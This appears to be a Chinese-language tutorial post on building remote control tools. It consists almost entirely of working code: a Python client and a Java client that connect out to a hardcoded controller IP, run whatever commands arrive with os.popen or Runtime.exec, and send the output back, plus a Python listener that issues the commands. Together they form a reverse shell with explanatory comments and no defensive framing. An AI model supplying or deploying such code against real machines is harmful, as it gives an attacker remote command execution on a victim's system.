实战多种方式实现远程控制

import socket
import os

def Client():
    # AF_INET表示使用IPV4协议，SOCK_STREAM表示使用TCP协议
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
           try:
        # 控制端的IP以硬编码形式写在代码中，被控端将主动连接这个IP
                      s.connect(("192.168.181.145",5551))
           except Exception as e:
                      print("server not found or closed")
           while True:
        #接收控制端的输入，1024表示1024个缓冲字节
                      command=s.recv(1024).decode()
        #这里注意exit后面要跟换行符，否则exit不会被匹配上，也会被当命令执行到受控端
                      if command.lower()=='exit\n':
                                 break
                      else:
            # 执行控制端发来的命令，这里使用os.system()和subprocess.Popen也可以
                                 result=os.popen(command,'r',1).read()
                      try:
            # 将结果返回给控制端
                                 s.send(result.encode("UTF-8"))
                      except Exception as e:
                                 s.send("命令错误".encode("UTF-8"))
           s.close()

if __name__=='__main__':
           Client()

import socket

def Server():
           s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    # 绑定本机地址的5551端口
           s.bind(("",5551))
    # 允许最大连接数是3个
           s.listen(3)
    # 等待受控端的连接请求
           conn,addr=s.accept()
           #print("Connected by "+addr)
           while True:
                      command=input("请输入命令\n")
                      try:
#                                 print(command.encode())
                                 # 向受控端发送指令
                                 conn.sendall(command.encode())
                                 # 接收回显并显示
                                 result=conn.recv(1024)          
                                 print(result.decode())
                      except Exception as e:
                                 print("发生异常")
           conn.close()
           s.close()

if __name__=='__main__':
           Server()

import java.io.BufferedReader;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Base64;

public class App {
    public static void main(String[] args) {
        try {
            // 建立socket连接
            Socket socket = new Socket("192.168.181.189", 5678);
            while (true) {
                // 接收控制端的传输数据，以inputstream形式接收
                InputStream inputStream = socket.getInputStream();
                // byte by byte
                byte[] bytes = new byte[1];
                String info = "";
                while (true) {
                    // 如果流里有东西
                    if (inputStream.available() > 0) {
                        //，就读取信息，读到上面定义的bytes数组里面
                        inputStream.read(bytes);
                        // 这里进行了修改，作用是将接收的字节数组形式的数据 转换为字符串格式，参考了班里大神的方法
                        String hexStr = Base64.getEncoder().encodeToString(bytes);
                        byte[] decoded = Base64.getDecoder().decode(hexStr);
                        // info就是接收到的 字符串形式的server传来的命令
                        info += new String(decoded);
//                        String hexStr = ByteArrayToHexStr(bytes);
//                        info += HexStrToStr(hexStr);
                        // 如果流里的内容读取完毕了
                        if (inputStream.available() == 0) {
                            //读取到的内容去除首位空格
                            info = info.trim();
                            //如果内容是一个exit就结束程序
                            if (info.equals("exit")) {
                                return;
                            }
                            try {
                                //命令执行
                                Process exec = Runtime.getRuntime().exec(info);
                                // 读取回显内容
                                InputStream results = exec.getInputStream();
                                BufferedReader reader = new BufferedReader(new InputStreamReader(results));
                                // 准备传回数据，创建了数据输出流dataOutputStream
                                DataOutputStream dataOutputStream = new DataOutputStream(socket.getOutputStream());
                                String line;
                                // 将返回结果后面加上换行符，避免与下一条用户命令在视觉上混淆
                                while ((line = reader.readLine()) != null) {
                                    dataOutputStream.write((line + "\n").getBytes(StandardCharsets.UTF_8));
                                    // 清空缓冲区
                                    dataOutputStream.flush();
                                }
                                exec.waitFor();
                                // 与python中的.close()作用相同
                                results.close();
                                reader.close();
                                exec.destroy();
                                break;
                            } catch (Exception e) {
                                continue;
                            } finally {
                                info = "";
                            }
                        }
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}